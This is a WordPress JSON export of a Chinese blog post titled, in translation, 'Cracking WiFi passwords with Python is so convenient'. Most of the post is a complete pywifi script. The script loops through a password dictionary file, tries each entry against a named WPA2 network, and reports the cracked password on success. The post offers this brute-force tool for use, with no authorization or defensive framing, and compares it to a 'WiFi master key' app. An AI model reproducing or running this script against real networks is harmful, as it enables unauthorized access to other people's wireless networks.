﻿{"id":1018,"date":"2021-03-12T02:44:52","date_gmt":"2021-03-11T18:44:52","guid":{"rendered":"https:\/\/byy3.com\/?p=1018"},"modified":"2021-03-12T03:37:37","modified_gmt":"2021-03-11T19:37:37","slug":"%e4%bd%bf%e7%94%a8python%e7%a0%b4%e8%a7%a3wifi%e5%af%86%e7%a0%81%e5%a4%aa%e6%96%b9%e4%be%bf%e4%ba%86","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=1018","title":{"rendered":"\u4f7f\u7528python\u7834\u89e3wifi\u5bc6\u7801\u592a\u65b9\u4fbf\u4e86"},"content":{"rendered":"<p>\u521b\u5efaWiFi\u8fde\u63a5\u6587\u4ef6\uff0c\u9009\u62e9\u8981\u8fde\u63a5WiFi\u7684\u540d\u79f0\uff0c\u7136\u540e\u68c0\u67e5WiFi\u7684\u5f00\u53d1\u72b6\u6001\uff0c\u67e5\u770bwifi\u7684\u52a0\u5bc6\u7b97\u6cd5,\u4e00\u822cwifi\u52a0\u5bc6\u7b97\u6cd5\u4e3aWPA2 PSK\uff0c\u68c0\u67e5\u52a0\u5bc6\u5355\u5143\u3002\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n<p>profile=pywifi.Profile()<br \/>\n#\u8981\u8fde\u63a5WiFi\u7684\u540d\u79f0<br \/>\nprofile.ssid=\"jiayi\"<br \/>\n#\u7f51\u5361\u7684\u5f00\u653e\u72b6\u6001<br \/>\nprofile.auth=const.AUTH_ALG_OPEN<br \/>\n#wifi\u52a0\u5bc6\u7b97\u6cd5,\u4e00\u822cwifi\u52a0\u5bc6\u7b97\u6cd5\u4e3awas<br \/>\nprofile.akm.append(const.AKM_TYPE_WPA2PSK)<br \/>\n#\u52a0\u5bc6\u5355\u5143<br \/>\nprofile.cipher=const.CIPHER_TYPE_CCMP<br \/>\n\u5220\u9664\u6240\u6709\u8fde\u63a5\u8fc7\u7684wifi\u6587\u4ef6\uff0c\u91cd\u65b0\u8bbe\u5b9a\u65b0\u7684\u8fde\u63a5\u6587\u4ef6\uff0c\u8bbe\u7f6ewifi\u8fde\u63a5\u65f6\u95f4\uff0c\u5224\u65adwifi\u662f\u5426\u8fde\u63a5\uff0c\u82e5\u8fde\u63a5\uff0c\u8fd4\u56de4\uff0c\u672a\u8fde\u63a5\uff0c\u8fd4\u56de0.<\/p>\n<p>#\u5220\u9664\u6240\u6709\u8fde\u63a5\u8fc7\u7684wifi\u6587\u4ef6<br \/>\nifaces.remove_all_network_profiles()<br \/>\n#\u8bbe\u5b9a\u65b0\u7684\u8fde\u63a5\u6587\u4ef6<br \/>\ntep_profile=ifaces.add_network_profile(profile)<br \/>\nifaces.connect(tep_profile)<br \/>\n#wifi\u8fde\u63a5\u65f6\u95f4<br \/>\ntime.sleep(3)<br \/>\nif ifaces.status()==const.IFACE_CONNECTED:<br \/>\nreturn True<br \/>\nelse:<br \/>\nreturn False<br \/>\n\u63a5\u4e0b\u6765\u6211\u4eec\u5c31\u9700\u8981\u4e00\u4e2a\u5bc6\u7801\u672c\uff0c\u7136\u540e\u91c7\u7528\u53ea\u8bfb\u7684\u65b9\u5f0f\uff0c\u4e00\u884c\u4e00\u884c\u8bfb\u53d6\uff0c\u8fd9\u91cc\u7684\u5bc6\u7801\u672c\u53ef\u4ee5\u7528\u6211\u4e0a\u6b21\u5206\u4eab\u7684\u90a3\u4e2a\uff0c\u4e5f\u7528\u53bb\u7f51\u4e0a\u4e0b\u8f7d\u4e00\u4e2a\u5e38\u7528wifi\u5bc6\u7801\uff0c\u53ea\u8981\u662fTXT\u6587\u672c\u5c31\u53ef\u4ee5\u3002<\/p>\n<p>#\u5bc6\u7801\u672c\u8def\u5f84<br \/>\npath=\"C:\/Users\/lcwuw\/Desktop\/password.txt\"<br \/>\n#\u6253\u5f00\u6587\u4ef6<br \/>\nfile=open(path,\"r\")<br \/>\nwhile True:<br \/>\ntry:<br \/>\n#\u4e00\u884c\u4e00\u884c\u8bfb\u53d6<br \/>\npad=file.readline()<br \/>\n\u597d\u4e86\uff0c\u63a5\u4e0b\u6765\u5c31\u662f\u5b8c\u6574\u7684\u4ee3\u7801\u3002<\/p>\n<hr \/>\n<p># coding:utf-8<br \/>\n# python3\u73af\u5883\uff0c\u9700\u8981pip install comtypes pywifi\u4e24\u4e2a\u5305<br \/>\n# copyright byy3.com--h4ckg3h2y1<br \/>\nimport pywifi<br \/>\nfrom pywifi import const<br \/>\nimport time<\/p>\n<p>#\u6d4b\u8bd5\u8fde\u63a5\uff0c\u8fd4\u56de\u94fe\u63a5\u7ed3\u679c<br \/>\ndef wifiConnect(pwd):<br \/>\n#\u6293\u53d6\u7f51\u5361\u63a5\u53e3<br \/>\nwifi=pywifi.PyWiFi()<br \/>\n#\u83b7\u53d6\u7b2c\u4e00\u4e2a\u65e0\u7ebf\u7f51\u5361<br \/>\nifaces=wifi.interfaces()[0]<br \/>\n#\u65ad\u5f00\u6240\u6709\u8fde\u63a5<br \/>\nifaces.disconnect()<br \/>\ntime.sleep(1)<br \/>\nwifistatus=ifaces.status()<br \/>\nif wifistatus ==const.IFACE_DISCONNECTED:<br \/>\n#\u521b\u5efaWiFi\u8fde\u63a5\u6587\u4ef6<br \/>\nprofile=pywifi.Profile()<br \/>\n#\u8981\u8fde\u63a5WiFi\u7684\u540d\u79f0<br \/>\nprofile.ssid=\"antoin\"<br \/>\n#\u7f51\u5361\u7684\u5f00\u653e\u72b6\u6001<br \/>\nprofile.auth=const.AUTH_ALG_OPEN<br \/>\n#wifi\u52a0\u5bc6\u7b97\u6cd5,\u4e00\u822cwifi\u52a0\u5bc6\u7b97\u6cd5\u4e3awps<br \/>\nprofile.akm.append(const.AKM_TYPE_WPA2PSK)<br \/>\n#\u52a0\u5bc6\u5355\u5143<br \/>\nprofile.cipher=const.CIPHER_TYPE_CCMP<br \/>\n#\u8c03\u7528\u5bc6\u7801<br \/>\nprofile.key=pwd<br \/>\n#\u5220\u9664\u6240\u6709\u8fde\u63a5\u8fc7\u7684wifi\u6587\u4ef6<br \/>\nifaces.remove_all_network_profiles()<br \/>\n#\u8bbe\u5b9a\u65b0\u7684\u8fde\u63a5\u6587\u4ef6<br \/>\ntep_profile=ifaces.add_network_profile(profile)<br \/>\nifaces.connect(tep_profile)<br \/>\n#wifi\u8fde\u63a5\u65f6\u95f4<br \/>\ntime.sleep(3)<br \/>\nif ifaces.status()==const.IFACE_CONNECTED:<br \/>\nreturn True<br \/>\nelse:<br \/>\nreturn False<br \/>\nelse:<br \/>\nprint(\"\u5df2\u6709wifi\u8fde\u63a5\")<\/p>\n<p>#\u8bfb\u53d6\u5bc6\u7801\u672c<br \/>\ndef readPassword():<br \/>\nprint(\"\u5f00\u59cb\u7834\u89e3:\")<br \/>\n#\u5bc6\u7801\u672c\u8def\u5f84<br \/>\npath=\"C:\/Users\/lcwuw\/Desktop\/password.txt\"<br \/>\n#\u6253\u5f00\u6587\u4ef6<br \/>\nfile=open(path,\"r\")<br \/>\nwhile True:<br \/>\ntry:<br \/>\n#\u4e00\u884c\u4e00\u884c\u8bfb\u53d6<br \/>\npad=file.readline()<br \/>\nbool=wifiConnect(pad)<\/p>\n<p>if bool:<br \/>\nprint(\"\u5bc6\u7801\u5df2\u7834\u89e3\uff1a \",pad)<br \/>\nprint(\"WiFi\u5df2\u81ea\u52a8\u8fde\u63a5\uff01\uff01\uff01\")<br \/>\nbreak<br \/>\nelse:<br \/>\n#\u8df3\u51fa\u5f53\u524d\u5faa\u73af\uff0c\u8fdb\u884c\u4e0b\u4e00\u6b21\u5faa\u73af<br \/>\nprint(\"\u5bc6\u7801\u7834\u89e3\u4e2d....\u5bc6\u7801\u6821\u5bf9: \",pad)<br \/>\nexcept:<br \/>\ncontinue<br \/>\nreadPassword()<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1019\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2021\/03\/2021031118484689.jpg\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"836\" height=\"908\" title=\"\u4f7f\u7528python\u7834\u89e3wifi\u5bc6\u7801\u592a\u65b9\u4fbf\u4e86\u63d2\u56fe\" alt=\"\u4f7f\u7528python\u7834\u89e3wifi\u5bc6\u7801\u592a\u65b9\u4fbf\u4e86\u63d2\u56fe\" \/><\/p>\n<p>\u770b\uff0c\u8fd9\u4e2a\u5c31\u6210\u529f\u4e86\uff0c\u8fd9\u91cc\u7684\u8bdd\u8fd8\u662f\u4e0d\u80fd\u7528\u53ef\u89c6\u5316\u754c\u9762\uff0c\u7b49\u4ee5\u540e\u6709\u65f6\u95f4\u6211\u5c1d\u8bd5\u5199\u4e00\u4e2a\u53ef\u89c6\u5316\u754c\u9762\u90a3\u79cd\uff0c\u7136\u540e\u5c31\u7c7b\u4f3c\u4e8e\u624b\u673a\u4e0a\u7684wifi\u4e07\u80fd\u94a5\u5319\u4e86\u3002\u4eca\u5929\u5c31\u5206\u4eab\u5230\u8fd9\u91cc\u4e86\uff0c\u6709\u4ec0\u4e48\u4e0d\u597d\u7684\u5730\u65b9\u671b\u5404\u4f4d\u5927\u4f6c\u6307\u6b63\u4e00\u4e0b\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u521b\u5efaWiFi\u8fde\u63a5\u6587\u4ef6\uff0c\u9009\u62e9\u8981\u8fde\u63a5WiFi\u7684\u540d\u79f0\uff0c\u7136\u540e\u68c0\u67e5WiFi\u7684\u5f00\u53d1\u72b6\u6001\uff0c\u67e5\u770bwifi\u7684\u52a0\u5bc6\u7b97\u6cd5,\u4e00\u822cwif [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20,1],"tags":[546,547,485],"class_list":["post-1018","post","type-post","status-publish","format-standard","hentry","category-python","category-net-security","tag-wifi","tag-485"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1018","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1018"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1018\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1018"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1018"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1018"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}